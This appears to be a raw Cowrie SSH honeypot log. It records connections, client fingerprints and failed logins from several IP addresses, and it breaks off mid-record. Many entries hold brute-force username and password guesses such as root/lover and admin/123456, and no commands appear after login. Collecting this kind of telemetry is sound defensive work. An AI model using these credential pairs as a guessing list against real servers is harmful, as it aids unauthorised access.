{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:16.919583Z","src_ip":"43.153.46.75","session":"cc587d8fed91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:16.987684Z","src_ip":"43.153.46.75","session":"cc587d8fed91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"agent","password":"agent","message":"login attempt [agent/agent] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:17.255899Z","src_ip":"178.20.210.186","session":"fd5b8750ed5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:17.290162Z","src_ip":"43.153.46.75","session":"cc587d8fed91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:18.362128Z","src_ip":"43.153.46.75","session":"cc587d8fed91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:18.370557Z","src_ip":"178.20.210.186","session":"fd5b8750ed5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":51262,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7e564004036","protocol":"ssh","message":"New connection: 103.75.199.4:51262 (159.203.135.109:22) [session: e7e564004036]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:20.442175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:20.447052Z","src_ip":"103.75.199.4","session":"e7e564004036","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:20.538198Z","src_ip":"103.75.199.4","session":"e7e564004036","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:20.811394Z","src_ip":"103.75.199.4","session":"e7e564004036","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:21.905738Z","src_ip":"103.75.199.4","session":"e7e564004036","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.116.56.108","src_port":42992,"dst_ip":"159.203.135.109","dst_port":22,"session":"c72cd8cb0712","protocol":"ssh","message":"New connection: 186.116.56.108:42992 (159.203.135.109:22) [session: c72cd8cb0712]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:27.470411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:27.475213Z","src_ip":"186.116.56.108","session":"c72cd8cb0712","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:27.573119Z","src_ip":"186.116.56.108","session":"c72cd8cb0712","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2064","message":"login attempt [root/2064] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:27.961489Z","src_ip":"186.116.56.108","session":"c72cd8cb0712","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:29.053374Z","src_ip":"186.116.56.108","session":"c72cd8cb0712","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.121.31.17","src_port":53130,"dst_ip":"10.17.0.5","dst_port":22,"session":"8da6d34882fa","protocol":"ssh","message":"New connection: 124.121.31.17:53130 (10.17.0.5:22) [session: 8da6d34882fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:39.507281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:39.512664Z","src_ip":"124.121.31.17","session":"8da6d34882fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:39.781929Z","src_ip":"124.121.31.17","session":"8da6d34882fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":58078,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6b9f971777c","protocol":"ssh","message":"New connection: 43.163.119.215:58078 (10.17.0.5:22) [session: e6b9f971777c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:40.667430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:40.671942Z","src_ip":"43.163.119.215","session":"e6b9f971777c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lover","message":"login attempt [root/lover] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:40.889322Z","src_ip":"124.121.31.17","session":"8da6d34882fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:40.911340Z","src_ip":"43.163.119.215","session":"e6b9f971777c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"zabbix","message":"login attempt [zabbix/zabbix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:41.629551Z","src_ip":"43.163.119.215","session":"e6b9f971777c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:42.163192Z","src_ip":"124.121.31.17","session":"8da6d34882fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":38084,"dst_ip":"159.203.135.109","dst_port":22,"session":"a55c1f7926c2","protocol":"ssh","message":"New connection: 103.75.199.4:38084 (159.203.135.109:22) [session: a55c1f7926c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:42.316542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:42.321110Z","src_ip":"103.75.199.4","session":"a55c1f7926c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:42.416818Z","src_ip":"103.75.199.4","session":"a55c1f7926c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins","message":"login attempt [jenkins/jenkins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:42.703927Z","src_ip":"103.75.199.4","session":"a55c1f7926c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:42.871068Z","src_ip":"43.163.119.215","session":"e6b9f971777c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:43.802278Z","src_ip":"103.75.199.4","session":"a55c1f7926c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.243.147.237","src_port":60838,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b0604c1b2ea","protocol":"ssh","message":"New connection: 162.243.147.237:60838 (159.203.135.109:22) [session: 6b0604c1b2ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:56.457345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:56.461997Z","src_ip":"162.243.147.237","session":"6b0604c1b2ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:56.532250Z","src_ip":"162.243.147.237","session":"6b0604c1b2ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"appldisc","message":"login attempt [root/appldisc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:56.843508Z","src_ip":"162.243.147.237","session":"6b0604c1b2ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:57.916331Z","src_ip":"162.243.147.237","session":"6b0604c1b2ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":50982,"dst_ip":"159.203.135.109","dst_port":22,"session":"fcb7a492621a","protocol":"ssh","message":"New connection: 103.75.199.4:50982 (159.203.135.109:22) [session: fcb7a492621a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:04.262016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:04.266460Z","src_ip":"103.75.199.4","session":"fcb7a492621a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:04.357349Z","src_ip":"103.75.199.4","session":"fcb7a492621a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:04.630348Z","src_ip":"103.75.199.4","session":"fcb7a492621a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":37154,"dst_ip":"10.17.0.5","dst_port":22,"session":"caba9f8ebee7","protocol":"ssh","message":"New connection: 43.163.119.215:37154 (10.17.0.5:22) [session: caba9f8ebee7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:05.217970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:05.222899Z","src_ip":"43.163.119.215","session":"caba9f8ebee7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","ae